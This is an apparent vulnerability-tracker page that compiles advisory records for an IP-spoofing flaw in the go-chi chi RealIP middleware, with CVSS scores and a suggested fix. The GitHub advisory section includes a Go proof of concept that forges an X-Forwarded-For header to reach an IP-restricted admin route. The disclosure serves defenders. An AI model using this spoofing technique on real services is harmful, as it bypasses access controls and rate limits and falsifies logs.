go-chi chi v5.2.1 IP Spoofing via X-Forwarded-For Header

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

go-chi chi versions >= 5.2.1 and before 5.3.0 contain an IP spoofing vulnerability in the RealIP middleware, which blindly trusts the first (leftmost) value of the X-Forwarded-For HTTP header. A remote attacker can bypass IP-based access control lists and rate-limiting mechanisms, and forge log entries, by supplying a spoofed IP address in the X-Forwarded-For header. The issue is fixed in version 5.3.0.

Source published

14 Aug 2026 11:35:27 UTC

Source modified

8 Oct 2026 15:24:31 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

go-chi chi versions >= 5.2.1 and before 5.3.0 contain an IP spoofing vulnerability in the RealIP middleware, which blindly trusts the first (leftmost) value of the X-Forwarded-For HTTP header. A remote attacker can bypass IP-based access control lists and rate-limiting mechanisms, and forge log entries, by supplying a spoofed IP address in the X-Forwarded-For header. The issue is fixed in version 5.3.0.

Source published

Aug 14, 2026, 11:35:27 AM (timezone not stated)

Source modified

Oct 8, 2026, 3:24:31 PM (timezone not stated)

Observed here

9 Nov 2026 15:08:42 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

go-chi chi versions >= 5.2.1 and before 5.3.0 contain an IP spoofing vulnerability in the RealIP middleware, which blindly trusts the first (leftmost) value of the X-Forwarded-For HTTP header. A remote attacker can bypass IP-based access control lists and rate-limiting mechanisms, and forge log entries, by supplying a spoofed IP address in the X-Forwarded-For header. The issue is fixed in version 5.3.0.

Source published

14 Aug 2026 12:16:44 UTC

Source modified

8 Oct 2026 16:17:35 UTC

Observed here

25 Oct 2026 15:19:03 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

## Summary The `RealIP` middleware in `go-chi/chi` is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the `X-Forwarded-For` HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header. ## Details In `middleware/realip.go`, the `realIP` function parses the `X-Forwarded-For` header and extracts the first comma-separated value: ```go func realIP(r *http.Request) string { // ... } else if xff := r.Header.Get(xForwardedFor); xff != "" { ip, _, _ = strings.Cut(xff, ",") } // ... } ``` Standard practice for `X-Forwarded-For` is that each proxy appends the client's IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like `X-Forwarded-For: <spoofed_ip>, <actual_proxy_ip>`, and `go-chi/chi` will treat `<spoofed_ip>` as the source of the request. ## Proof of Concept (PoC) The following code demonstrates how an attacker can bypass an IP-based restriction. ```go package main import ( "fmt" "net/http" "net/http/httptest" "github.com/go-chi/chi/v5" "github.com/go-chi/chi/v5/middleware" ) func main() { r := chi.NewRouter() // Enable the vulnerable RealIP middleware r.Use(middleware.RealIP) // An endpoint that should be restricted to a specific administrator IP (1.2.3.4) r.Get("/admin/secret", func(w http.ResponseWriter, r *http.Request) { clientIP := r.RemoteAddr fmt.Printf("[Server] Request received from IP: %s\n", clientIP) // Simulate IP-based access control if clientIP == "1.2.3.4" { w.WriteHeader(http.StatusOK) w.Write([]byte("CONFIDENTIAL: The secret code is 42\n")) } else { w.WriteHeader(http.StatusForbidden) w.Write([]byte("Access Denied: You are not an administrator.\n")) } }) // --- Attack Simulation --- fmt.Println("--- PoC: IP Spoofing Attack on chi/middleware.RealIP ---") // 1. Normal Request (Should be denied) req1, _ := http.NewRequest("GET", "/admin/secret", nil) rr1 := httptest.NewRecorder() r.ServeHTTP(rr1, req1) fmt.Printf("[Client] Normal Request -> Status: %d, Body: %s", rr1.Code, rr1.Body.String()) // 2. Spoofed Request (Using X-Forwarded-For) // Attacker claims to be '1.2.3.4' req2, _ := http.NewRequest("GET", "/admin/secret", nil) req2.Header.Set("X-Forwarded-For", "1.2.3.4, 5.6.7.8") // 5.6.7.8 is a fake proxy IP rr2 := httptest.NewRecorder() r.ServeHTTP(rr2, req2) fmt.Printf("[Client] Spoofed Request -> Status: %d, Body: %s", rr2.Code, rr2.Body.String()) } ``` ## Impact An attacker can masquerade as any IP address. This can lead to: - **Bypass of Authentication/Authorization:** Accessing administrative panels or private APIs restricted by IP. - **Rate Limiting Evasion:** Circumbeting rate limiters that use `RemoteAddr` as a key. - **Log Forgery:** Causing incorrect IP addresses to be recorded in security logs. ## CWE - **CWE-290:** Authentication Bypass by Spoofing - **CWE-345:** Insufficient Verification of Data Authenticity ## CVSS Score - **CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N** (6.9 Moderate) ## Affected Versions - `github.com/go-chi/chi/v5` <= `v5.2.1` (and all previous versions) ## Recommendation 1. **Stop using `middleware.RealIP`** if you cannot guarantee that the incoming request headers are from a trusted source and have been sanitized by a proxy. 2. Implement a trust-based IP extraction mechanism that verifies the chain of proxies. 3. Use the `X-Forwarded-For` header by traversing it from **right to left** and stopping at the first IP address that is not in your list of trusted proxies. ## Suggested Fix A secure implementation of `RealIP` should allow developers to specify a list of trusted proxy IP ranges (CIDRs). Below is a conceptual example of how to fix this by traversing the `X-Forwarded-For` header from right to left: ```go func GetClientIP(r *http.Request, trustedProxies []net.IPNet) string { xff := r.Header.Get("X-Forwarded-For") if xff == "" { return r.RemoteAddr } ips := strings.Split(xff, ",") // Traverse from right to left for i := len(ips) - 1; i >= 0; i-- { ipStr := strings.TrimSpace(ips[i]) ip := net.ParseIP(ipStr) if ip == nil { continue } if !isTrustedProxy(ip, trustedProxies) { return ipStr } } return r.RemoteAddr } func isTrustedProxy(ip net.IP, trustedProxies []net.IPNet) bool { for _, network := range trustedProxies { if network.Contains(ip) { return true } } return false } ``` By providing a configuration like `middleware.RealIPWithConfig(Config{TrustedProxies: []string{"10.0.0.0/8"}})` , the middleware can safely identify the true client IP even in complex proxy environments.

Source published

25 Jun 2026 18:21:37 UTC

Source modified

4 Nov 2026 04:00:03 UTC

Observed here

4 Nov 2026 04:59:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Publisher rating · MODERATE

Chi has an IP spoofing vulnerability in middleware.RealIP in github.com/go-chi/chi

Source published

24 Jul 2026 18:35:55 UTC

Source modified

15 Aug 2026 05:18:57 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.